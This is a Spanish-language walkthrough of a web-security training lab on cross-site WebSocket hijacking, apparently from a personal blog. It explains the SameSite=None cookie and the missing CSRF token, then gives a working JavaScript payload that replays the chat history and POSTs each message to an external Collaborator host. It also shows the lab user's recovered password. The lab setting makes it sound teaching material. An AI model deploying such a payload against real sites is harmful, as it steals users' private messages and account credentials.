Descripción

This online shop has a live chat feature implemented using WebSockets.

To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim’s chat history, then use this gain access to their account.

Cross-site WebSocket hijacking writeup

Entraremos al laboratorio e iremos a la opción de ‘Live chat’. Vemos que si escribimos algo y refrescamos la página nos devuelve nuestros mensajes aunque no estemos registrados. Si pulsamos Click derecho -> Inspeccionar ->Application -> Cookies, veremos la cookie que hace que el servidor nos devuelva los mensajes, junto con su propiedad ‘SameSite’ a ‘None’.

Esta propiedad hará que enviemos nuestra cookie a cualquier enlace que pinchemos, sin importar que sea de esta página o no.

Vamos ahora a Burp Suite, en ‘Proxy’, ‘WebSockets history’, y capturamos el mensaje de ‘READY’. Lo enviamos al ‘Repeater’ con Ctrl + R o Click derecho -> Send to Repeater. Si enviamos esta petición veremos que el servidor nos devuelve todo el historial de mensajes:

Ahora, vamos al ‘Logger’ y recuperamos la petición a ‘/chat’, veremos que no tiene token CSRF para proteger la petición:

Crearemos entonces un payload para la víctima, que le haga entrar en la página web del chat y que nos envíe todos los mensajes que cargue:

<script>
    var ws = new WebSocket('wss://0a2a0077046276ae81ce767e007400d8.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://4fke5vtzpsxlntj88tb4d44ey54wsmgb.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Nota: El código no funcionará si falta el ‘https://’ delante de la URL proporcionada por el ‘Collaborator’ de Burp Suite.

El funcionamiento de este código es el siguiente:

  1. Se conecta al endpoint del WebSocket.
  2. Envía el mensaje «READY».
  3. Para cada mensaje, envía a la URL de nuestro ‘Collaborator’ este mensaje con el método POST.

Al pulsar ‘Deliver exploit to victim’, iremos al ‘Collaborator’ y buscaremos entre los mensajes:

Encontrando la contraseña y pudiendo registrarnos en ‘My account’ con el usuario ‘carlos’ y la contraseña ‘cp9rx1w56l3dptismlqi’, completando así el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *